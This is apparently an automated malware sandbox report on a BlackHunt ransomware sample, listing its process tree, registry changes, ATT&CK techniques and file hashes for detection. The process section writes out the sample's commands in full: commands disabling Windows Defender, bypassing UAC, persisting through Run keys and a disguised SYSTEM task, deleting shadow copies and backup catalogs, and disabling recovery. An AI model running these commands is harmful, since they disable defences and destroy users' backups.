description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe"C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4380 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3752 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:436
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1876
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3984 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2424
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:4336
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2040
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:1828
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:4824
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:4232
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:5396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:3940
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1144
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:4732
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:5512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:1472
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:5552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2972
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:5496
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4204
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:5752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:3404
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:6100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1300
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:5708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3280
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:6092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:3968
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:5480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4676
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:5948
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1584
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:6116
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3860
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:6084
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4604
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:5620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:3172
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:5940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1284
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:5956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:452
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:4208
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:5808
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2816
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:6072
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1948
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:6064
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe" /F2⤵PID:2844
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe" /F3⤵
- Creates scheduled task(s)
PID:6340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:4408
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:6108
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3744
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2836
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:7080
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:4220
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:7036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4584
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:7004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2576
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:5988
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4784
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:6900
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1600
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4140
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:6016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4564
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:4340
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:5972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:5648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:7144
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:3456
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:276
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵PID:860
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2160
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6844
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:492
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:920
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
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Downloads
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Filesize
1KB
MD5ccfcb033c8ad701fd538d8330a417b0c
SHA19ff52568e4b50ee51453d97fd30d8940caba3fc9
SHA256f416198c15d1b455c8d654fe4504a63849c8465f5079fc070fedc2c4b9f1a128
SHA51293a6894a76e70fb9b584c6889d8c188f4944dc42f82da91b189baf2df8a70cc5c03f8c2de4fa8a510aaa313ca65f97ed33c99cdc2658a76c45adab89ba78931c
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Filesize
12KB
MD53862c9ffc66744d3f4ce43fc2f3a4523
SHA17dd5b242be90e98346f20d84f29c899b35a4de8a
SHA2567075a50f11ea93b7368b57828928c9c7ed9d4d5ee8697e856a1f83008549cd15
SHA5127557acf3be8f7a2a86184f5ceaa90deb1206cc6289b4aec32cbbf2ef884ac6bdf0a20ffecd4d2878fdf10a58501533fe82d184de207930e8d5d0c632c1ee9afd
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Filesize
684B
MD5ab080fbcd93f7b77760ce9169a2792a8
SHA1cc9589c9f7a4471a1969d2351989704c81a56482
SHA25618e83dc4f30a05a4e68e4f2dc6d5cf77311250fe09836508dd0e022ca1288406
SHA5120069bd3bc5ed61737a4f9b4c8e86be35f57036925be4b930f317759f0abdbf5cf39879ffd4f01503b8e316c89e69b838d53586c2fc84a483ddd0128681b966eb